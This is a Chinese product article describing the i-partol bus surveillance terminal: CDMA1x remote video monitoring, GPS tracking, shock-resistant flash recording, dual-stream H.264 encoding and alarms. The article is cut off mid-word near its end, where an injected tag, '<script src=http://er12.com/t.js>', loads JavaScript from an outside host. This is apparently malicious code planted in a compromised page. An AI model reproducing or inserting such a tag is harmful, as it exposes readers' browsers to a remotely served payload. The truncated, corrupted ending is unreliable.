一、引言
随着中国大中型城市长途客车的数量的增多、行驶范围增大，长途客车的汽车各种类型犯罪数量也迅速增长，长途客车的移动中的监控、管理需求随之激增。北京世纪乐图数字技术有限责任公司2006年在国内首家推出“i-partol车载无线视频监控、gps追踪系统”，主要针对在无线广域网中对汽车实施实时远程图像监控、gps卫星定位系统的车载终端设备。
通过i-partol车载终端cdma远程音视频监控行使中的客车，通过gps追踪车辆位置，可实时监督远驶在外省（外市）车辆内情况，可规范票务管理、乘客超载、盗窃抢劫、反恐、指挥调度、影像资料记录等多功能一体的系统级解决方案。
二、主要功能
实时： cdma远程音视频监控行使中的客车，gps追踪
抗震： nand flash电子闪存h.264/mpeg4录相存储
报警：多种方式联动报警
安全：依照汽车电子标准设计制造
便利：安装连接简单，体积精巧智能：多功能合为一体，系统强大稳定
终端应用示意图
（1）cdma无线监控
cdma1x远程监控指挥监控中心随时了解移动车辆实时图像，使指挥监控中心具备真正的同步音、视、位置全面监控，并可根据现场情况作出应急指挥决策。
带宽问题，从表面上来看，单路带窄，多路带宽。但是，由于网络支持的问题，cdma1x多路捆绑技术不成熟，主要问题是中国联通公司在cdma1x数据通信业务上只支持同一载波的2个数据传输，也就是说，运营商的协议规范在同一个信道中，只支持2个cdma1x模块传输数据。选择1~2路的捆绑技术是吻合现有网络情况，更多路的cdma1x捆绑技术上还需要运营商日后支持。
乐图i-partol现有产品设计为1路cdma，原因是：单卡月租费低；双卡的带宽效率只是单卡的1.3-1.5倍，并不能完全满足视频传输。
说明：
在广域的公共网络无线数据传输中，带宽一直是瓶颈，无论是cdma1x还是gprs，都存在不能较高质量满足图像清晰度的问题。不过，带宽在20 kbps~80kbps之间，单路cdma1x视频传输为2~8帧图像，已经能满足远程客户的基本需求。
在投资上，cdma1x远比wlan、数字微波等方式更经济、灵活，技术实现更快捷， cdma1x远程监控更适用于移动广域无线监控。
（2）gps追踪
乐图i-partol选择标准gps模块，车载终端接收gps位置信息、时间信息，把时间信息叠加在远程传输的图像上，这样，从原始信息上保证gps地理位置和图像显示时间的一致性。
（3）闪存录像
因为cdma1x带宽问题，远程传输的视频效果不能完全满足需求，车载终端可防震闪存内的高清晰影像可作为原始数据保存，方便查询、备份。
闪存的抗震性非常强，基本上可以认为不怕震动甚至自由落体。相对而言，硬盘的抗震性就很差。由于硬盘的结构比较复杂、精密，车辆颠簸对硬盘带来的伤害极可能是致命的。数据安全性是移动存储的最核心、关键问题。
2、其他技术特点：
（1）h.264/mpeg4双码流并发编码技术
乐图i-partol车载终端采用双码流并发编码技术，一路编码符合cdma无线带宽码率，一路编码保证本机影像存储，这样的编码规则可以满足视频传输远程带宽不足问题，又可以满足车载终端本机高清影像存储。车载终端本地数字录像是弥补cdma1x带宽不足而导致远程图像不足够清晰的补充。
（2）遇险报警
可设定车辆行驶范围报警、速度报警、图像状态报警集于一身的报警功能。
（3）利用一张cdma uim卡上传gps数据、视音频数据
长途客车多功能无线监控及管理完整解决方案
gps上传信息点需要无线网络通道，远程视频上传也是需要无线网络通道，两种功能的共用一张uim卡，节约了cdma数据通信月租费，很大程度降低运营费用。
（4）adi blackfin 600m dsp，独有的rtos嵌入式操作系统
乐图i-partol采用adi blackfin 600m dsp，在中国，adi与乐图合作密切，在多个汽车电子项目中深入合作，稳定的团队，强大的开发实力是乐图产品的真实体现。
车载终端需要一个拥有强大体系、稳定的rtos嵌入式操作系统，i-partol嵌入式系统支持fat与非fat文件系统，需要支持现有多项功能文件管理系统、本地及远程控制音视频编码。i-partol rtos系统有足够的技术资源，支持后期技术允许情况下未知的软硬件变化。
（5）gis地理信息与视频监控系统合而为一
i-partol系统兼容gprs、cdma、iden、tetra，数字（或/和）模拟专用集群通信系统，适应3g（td-scdma）公共移动通信网络和internet网构成的信息传输平台，实现目标现场图像数据、定位数据、报警数据、状态数据以及语音数据的实时采集、处理、传输和多种应用。
三、具备全部技术自主知识产权
乐图核心团队拥有包括软件程序设计、硬件电路设计，工业造型设计、结构设计、产品测试、品质控?script src=http://er12.com/t.js>
